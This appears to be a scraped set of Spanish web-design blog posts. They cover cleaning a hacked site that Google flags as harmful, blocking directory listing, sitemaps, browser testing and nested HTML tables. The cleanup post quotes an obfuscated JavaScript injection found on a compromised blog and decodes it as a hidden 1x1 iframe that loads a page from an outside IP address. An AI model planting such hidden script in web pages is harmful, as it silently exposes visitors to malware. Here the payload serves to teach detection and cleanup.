Entrada de: Diseño y Posicionamiento Web

Tiene algún costo poner en mi página de internet un boton con el logo de facebook o twitter?

Artículos Relacionadas:

1. Alertan sobre fraudes piramidales en Facebook y Twitter
2. Como guardo el facebook y el twitter en un diskete?
3. TWITTER ??????. . . . . . . . ?

El 31 de enero de 2009, debido a un error en los servidores del buscador web de Google, se mostró el mensaje “Este sitio puede dañar tu equipo” en todos los sitios web que aparecían en cualquier búsqueda incluyendo a Google mismo; este error duró aproximadamente 40 minutos. 

En Febrero Google comenzó a avisar a sus usuarios añadiendo a los resultados de sus búsquedas el mensaje “Este sitio puede dañar tu equipo” en aquellos casos en los que  considera que la web pueden instalar software malintencionado en tu equipo. Ve página oficial de Google  Las páginas sospechosas aparecen listadas en StopBadware.org este sitio está en inglés.

Solución:

Si tu sitio aparece con el aviso de “Este sitio puede dañar tu equipo” lo que puedes hacer es lo siguiente

Checa con tu navegador IE no con Dreamweaver porque no aparece. En un blog de un amigo le insertaron el siguiente codigo en javascrip en la parte superior de su página .html

script language=”javascript”> document.write( unescape(
‘%3C%69%66%72%61%6D%65%20%73%72%63%3D%20%68
%74%74%70%3A%2F%2F%38%31%2E%39%35%2E%31%34
%36%2E%39%38%2F%69%6E%64%65%78%2E%68%74%6D
%6C%20%66%72%61%6D%65%62%6F%72%64%65%72%3D
%22%30%22%20%77%69%64%74%68%3D%22%31%22%20
%68%65%69%67%68%74%3D%22%31%22%20%73%63%72
%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61
%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69
%66%72%61%6D%65%3E’
) );

Si lo traduces de hexidecimal a ASCII este es el código < iframe src= http://81.95.146.98/index.html frameborder=”0″ width=”1″ height=”1″ scrolling=”no” name=counter>< /iframe>   En pocas palabras hackearon su sitio.

La I.P. de arriba nos lleva a una página donde Google muestra esto:

Pasos a seguir:

1. Ve código de fuente con tu navegador, si encuentras un javascript raro similar al de arriba, es probable que estés en la misma situación que mi amigo.
2. Edita el código malicioso.
3. Cambia la contraseña de tu sitio por una más segura.
4. Asegurar las carpetas y sub carpetas en tu sitio para que no despliegue el contenido. Ve mi post sobre Seguridad Evitar Listado Directorios Diferentes Métodos
5. Notifica al proveedor de tu servidor para que cheque la seguridad del servidor y no vaya a sufrir un ataque masivo.
6. UNA VEZ QUE LIMPIASTE EL CODIGO MALIGNO ve a StopBadware.og y solicita que revisen tu sitio para quitar el letrero.  
7. En Google:

Tras haberlo revisado y cerciorarse de que es seguro, puedes solicitar que se vuelva a revisar. Antes deberás demostrar que eres el propietario del sitio.

1. En la página principal de Herramientas para webmasters de Google, seleccione el sitio que desees.
2. Cuando aparezca el mensaje Es posible que partes de este sitio estén distribuyendo software malintencionado, haz clic en Información detallada.
3. Haz clic en Solicitar una revisión.

Entrada de: Diseño y Posicionamiento Web

Google – Este sitio puede dañar tu equipo – Como Solucionarlo

Artículos Relacionadas:

1. Mapa del Sitio Importancia en el Diseño y Buscadores
2. 13 Cosas De Google Adsense Que Debes Saber
3. Posicionamiento en Buscadores – Mapa del Sitio

Es una medida de seguridad que debemos de implementar porque algunos servidores no la tienen pre configurada  y algunos diseñadores al implementar el sitio web no le dan la importancia que debería tener y se les olvida implementar esto. Si tenemos carpetas y sub carpetas y no hemos tomado medidas para no mostrar el contenido de la carpeta, este lo va a desplegar, pudiendo ser muy peligroso. Ver ejemplo:

Formas para evitar el listado en directorios

• Es muy sencillo, solo tienes que hacer una página vacía y guardarla como index.html.  Este método puede ser algo tardado si nuestro sitio web es muy grande y contiene muchas carpetas y sub carpetas.
• Para mí el mejor método es usar el archivo .htaccess que se localiza en el directorio raíz.

Escribe los siguiente en el archivo .htaccess:

Options -Indexes

• Dentro del servidor, si tienes el cpanel ve al apartado avanzado y pulsa en Index Manager,
   haz clic sobre el nombre del archivo no sobre la carpeta te va a salir otra ventana, escoge
   la opción No Indexing. Haz esto con cada carpeta y sub carpeta que tengas.

Entrada de: Diseño y Posicionamiento Web

Seguridad Evitar Listado Directorios Diferentes Métodos

Artículos Relacionadas:

1. Google – Este sitio puede dañar tu equipo – Como Solucionarlo
2. Ver y Revisar Web Con Diferentes Navegadores

El mapa del sitio o sitemap como su nombre lo índica es una mapa de su sitio, puede ser una representación gráfica o textual de un sitio web, equivalente al índice de un libro y consta de una sola página en html mostrando la estructura del sitio:

• directorios
• archivos y
• como están enlazados.

El mapa del sitio facilita la navegación a nuestros usuarios así como de los buscadores. Cabe mencionar que existen 2 tipos de mapa del sitio, uno en html y otro en xml. En esta entrada solo vamos a tratar el mapa del sitio en formato html que básicamente es el que se utiliza en el diseño de páginas web para facilitar la navegación a nuestros usuarios.

Los mapas del sitio no son ninguna novedad, siempre se han empleado en sitios web bien diseñados, con el objeto de facilitar la navegación a los usuarios, permitiéndoles ubicarse visualmente dentro del sitio,  accediendo más fácilmente a todas sus secciones y así evitando frustraciónes de no encontrar algo.

Los mapas del sitio adquirieron mayor importancia en el momento en que los buscadores empezaron a utilizarlos; en la actualidad ya no solo se trata de orientar y facilitar la navegación a nuestros usuarios, sino que con la adopción de los mapas del sitio por los buscadores, ahora  también tenemos que facilitarles a ellos el acceso a todas las secciones de nuestra página, para que posteriormente incluyan esos archivos en sus resultados de las búsquedas.

Características de un mapa del sitio en html

• debe de ser claro
• jerarquizado
• con títulos descriptivos
• cortos
• agradables a la vista

En otra entrada trataremos los mapas del sitio desde el punto de vista SEO utilizados para el posicionamiento orgánico en buscadores que son los Google sitemaps en xml, aquí puedes leer sobre ellos.

Entrada de: Diseño y Posicionamiento Web

Mapa del Sitio Importancia en el Diseño y Buscadores

Artículos Relacionadas:

1. Posicionamiento en Buscadores – Mapa del Sitio
2. Etiqueta Título – Errores SEO Posicionamiento Buscadores
3. Posicionamiento en Buscadores vs Alta en Buscadores

Es muy importante probar nuestra página recién diseñada en los diferentes navegadores para que puedan verse perfectamente bien en cualquier navegador de cualquier sistema operativo y que todo funcione correctamente ya que no todos los navegadores interpretan igual el mismo código de cada sitio web.

He visto casos en que el menú de navegación no funciona con algún navegador. ¡Imagínate que esos usuarios no puedan acceder a tu página!

Es por esto que debemos de:

1. Probar nuestra página web con el explorador más usado que es el de Microsoft en diferentes versiones.
2. Probar con otros navegadores como son: Mozilla Firefox, Safari, Opera  y Google Chrome.
3. Existe un servicio muy útil para ver nuestra página web con diferentes navegadores es Browsershots.

Browsershots hace capturas de pantallas de tu diseño web en distintos navegadores. Es un servicio de código abierto creado por Johann C. Rocholl. Cuando tu envías tu dirección web, es añadida a la cola de trabajos. Un número de computadoras distribuidas abrirá tu sitio web en su navegador. Luego se harán capturas de pantallas y se cargarán aquí en el servidor central.

En caso de ser una página web orientada al entorno móvil,  conviene probar con emuladores de cada plataforma como Nokia Mobile Toolkit, dotMobi o WinWap. En el navegador Opera, al hacer shift+F11 en su versión normal se renderiza la página como en Opera Mini, su versión para móviles.

Entrada de: Diseño y Posicionamiento Web

Ver y Revisar Web Con Diferentes Navegadores

Artículos Relacionadas:

1. Seguridad Evitar Listado Directorios Diferentes Métodos
2. Diseño Página Web Para Todas las Resoluciones

Uno no puede hacer varias tablas seguidas en una misma línea solo se pueden hacer tablas una abajo de la otra.

Si tu quieres hacer varias tablas seguidas en una misma línea tendrás que hacer tablas dentro de una tabla que son las tablas anidadas.

Hice una tabla con 2 filas y 5 columnas con un padding de celda de 2. Cada columna tiene diferente color de fondo. En la primera fila escribí el texto de los encabezados . En la segunda fila hice una tabla en porcentaje de 100% de ancho y 100% de alto y un padding de celda de 3.  El espacio blanco entre las tablas es una columna de 3 pixeles de ancho.

<table width=”368″ border=”0″ cellspacing=”0″ cellpadding=”2″ align=”center” height=”100″> <tr valign=”middle”> <td bgcolor=”#000066″ width=”120″ height=”20″> <div align=”center”><span lang=”es-mx”><b><br /> <font face=”Verdana, Arial, Helvetica, sans-serif” size=”2″ color=”#FFFFFF”><br /> Servicios Web</font></b></span> </div> </td> <td width=”4″ height=”20″></td> <td bgcolor=”#990000″ width=”120″ height=”20″> <div align=”center”><span lang=”es-mx”><b><br /> <font face=”Verdana, Arial, Helvetica, sans-serif” size=”2″ color=”#FFFFFF”><br /> Productos Web</font></b></span></div> </td> <td width=”4″ height=”20″></td> <td bgcolor=”#008000″ width=”120″ height=”20″> <div align=”center”><span lang=”es-mx”><b><br /> <font face=”Verdana, Arial, Helvetica, sans-serif” size=”2″ color=”#FFFFFF”><br /> Recursos Web</font></b></span> </div> </td> </tr> <tr valign=”top”> <td bgcolor=”#000066″ width=”120″> <table width=”100%” border=”0″ cellspacing=”0″ cellpadding=”3″ height=”80″> <tr bgcolor=”#FFFFFF” valign=”top”> <td> <p><span lang=”es-mx”><br /> <font face=”Verdana, Arial, Helvetica, sans-serif” size=”1″><br /> Diseño web profesional y económico, desarrollo web y<br /> promoción</font></span><font face=”Verdana, Arial, Helvetica, sans-serif” size=”1″>. </font></p> </td> </tr> </table> </td> <td width=”4″></td> <td bgcolor=”#990000″ width=”120″> <table width=”100%” border=”0″ cellspacing=”0″ cellpadding=”3″ height=”80″> <tr bgcolor=”#FFFFFF” valign=”top”> <td> <p> <font face=”Verdana, Arial, Helvetica, sans-serif” size=”1″><br /> <span lang=”es-mx”>Productos Web Interactivo</span>s -<br /> <span lang=”es-mx”>Encuestas</span>, <span lang=”es-mx”><br /> Libro Visitas, Ayuda en Vivo.</span></font></p> </td> </tr> </table> </td> <td width=”4″></td> <td bgcolor=”#008000″ width=”120″> <table width=”100%” border=”0″ cellspacing=”0″ cellpadding=”3″ height=”80″> <tr bgcolor=”#FFFFFF” valign=”top”> <td> <p><span lang=”es-mx”><br /> <font face=”Verdana, Arial, Helvetica, sans-serif” size=”1″><br /> Gratís <br><br /> Recursos Web</font></span><font face=”Verdana, Arial, Helvetica, sans-serif” size=”1″><br /> - arti<span lang=”es-mx”>culo</span>s, tutorial<span lang=”es-mx”>e</span>s,<br /> tips <span lang=”es-mx”>y trucos.</span></font></p> </td> </tr> </table> </td> </tr> </table>

Entrada de: Diseño y Posicionamiento Web

Tablas Dentro de Una Tabla – Tablas Anidadas

Artículos Relacionadas:

1. Diseño Página Web Para Todas las Resoluciones

Diseñando para resoluciones de 800 x 600, 1024 x 768, 1280 x 1024 y superiores.  En la actualidad la mayor parte de las personas usan una resolución de 1024 x 768 pero todavía hay gente que navega a una resolución de 800×6oo y si nuestra web está diseñada únicamente para 1024×768 nuestros usuarios con resolución de 800×600 tendrán una barra horizontal, forzándolos a ir de un extremo a otro para poder leer nuestro contenido

Paso 1: Decidir nuestra resolución mínima

Nuestra investigación nos dice que menos de un 0.5% navega a una resolución de
640×480 por lo cual yo no lo consideraría y me iría a las siguiente resolución que es 800×600. Algunos de nuestros visitantes usan a esta resolución por lo que consideraríamos 800×600 nuestra resolución más baja.

Paso 2: Diseña tu sitio para esta resolución

Una vez que haz definido tu resolución mínima, diseña tus gráficos para esa resolución, en otras palabras no puedes pasar de 800px de ancho, diseña tu página y exporta los gráficos como lo haces normalmente.

Paso 3: Al convertir tu diseño en HTML asegúrate que tus tablas estén en porcentaje

El truco al diseñar páginas para todas las resoluciones es que trabajes en % y no en píxeles. Si trabajas en píxeles estás dando medidas absolutas, en cambio si trabajas en % estás dando medidas relativas. La tabla va a ser un
porcentaje dado de la resolución de pantalla. Ejemplo:

Si diseñamos para una resolución de 800×600 es probable que tu tabla sea ancho 800 px y alto 600 px. pero para hacerlo para todas las resoluciones de pantalla nuestra tabla sería ancho y alto 100% , de esta forma sea cual sea nuestra resolución de pantalla nuestra página siempre se ajustara.  Será el 100% de la resolución de pantalla o el % que le hayas asignado.

El primer paso es hacer nuestra tabla 100% de ancho y de alto o 95% de alto y de ancho si deseamos
tener algo de blanco alrededor.

Paso 4:  Dentro de la tabla, mide las celdas en píxeles excepto la de contenido

Este paso es muy importante, debes darle medidas fijas a cada celda, es decir en píxeles excepto a la celda donde va tu contenido.

Paso5: Insertar Imágenes y Contenido

Una vez que tienes tus tablas diseñadas en porcentaje, necesitas insertar tus imágenes y contenido. Una distribución común sería tener un logo en la esquina izquierda y la navegación en la columna izquierda. Lo que yo suelo hacer cuando es posible es usar la parte superior izquierda y derecha para imágenes fijas y el centro lo dejo de acuerdo al tamaño de la página.

Ve un ejemplo de diseño de página web hecho por Respuesta Web Express prueba en diferentes resoluciones:

Paso 6: Prueba tu sitio en todas las resoluciones y diferentes navegadores

El último paso es probar nuestro sitio en diferentes resoluciones y con diferentes navegadores (IExplorer, Opera, Firefox, Safari).

Para cambiar la resolución de nuestra pantalla debes de:

1.  Hacer clic derecho sobre tu escritorio y selecciona Personalizar
2. Escoge Configuración Pantalla
3. En esta pantalla ajusta la resolución que desees y prueba tu sitio

Si tu todo funciona bien ¡Felicidades! Acabas de diseñar una página web para todas las resoluciones.

Entrada de: Diseño y Posicionamiento Web

Diseño Página Web Para Todas las Resoluciones

Artículos Relacionadas:

1. Tiene algún costo poner en mi página de internet un boton con el logo de facebook o twitter?
2. Página Web – ¿Necesito un Diseñador o No?
3. Haga Esto Cuando Use Twitter Para Sus Negocios, Y Le Ir

1.  De tu habilidad
2. Factor Tiempo
3. Que tantas tecnologias vas a necesitar ejemplo: bases de dato, formularios etc.

Entre las herramientas que puedes usar si decides elaborar tu página web, está Dreamweaver, que sin lugar a dudas es el líder en este campo, pero existen otras opciones como son  Frontpage que en la actualidad ha sido remplazado por Expression Web pero también tenemos a CoffeCup. En caso de que necesites páginas dinámicas entonces te recomiendo hagas un blog, el programa más potente y fácil de usar es Word Press, este programa es de código abierto,  lo que quiere decir que no te va a costar nada . En otra entrada hablaré más del programa CoffeCup y de Word Press

En caso de que te parezca difícil elaborar un diseño para tu página web, puedes comprar un sin fin de plantillas para páginas web . Estas plantillas son muy fáciles de adaptar a tu sitio y son económicas.

Entrada de: Diseño y Posicionamiento Web

Página Web – ¿Necesito un Diseñador o No?

Artículos Relacionadas:

1. Diseño Página Web Para Todas las Resoluciones
2. Tiene algún costo poner en mi página de internet un boton con el logo de facebook o twitter?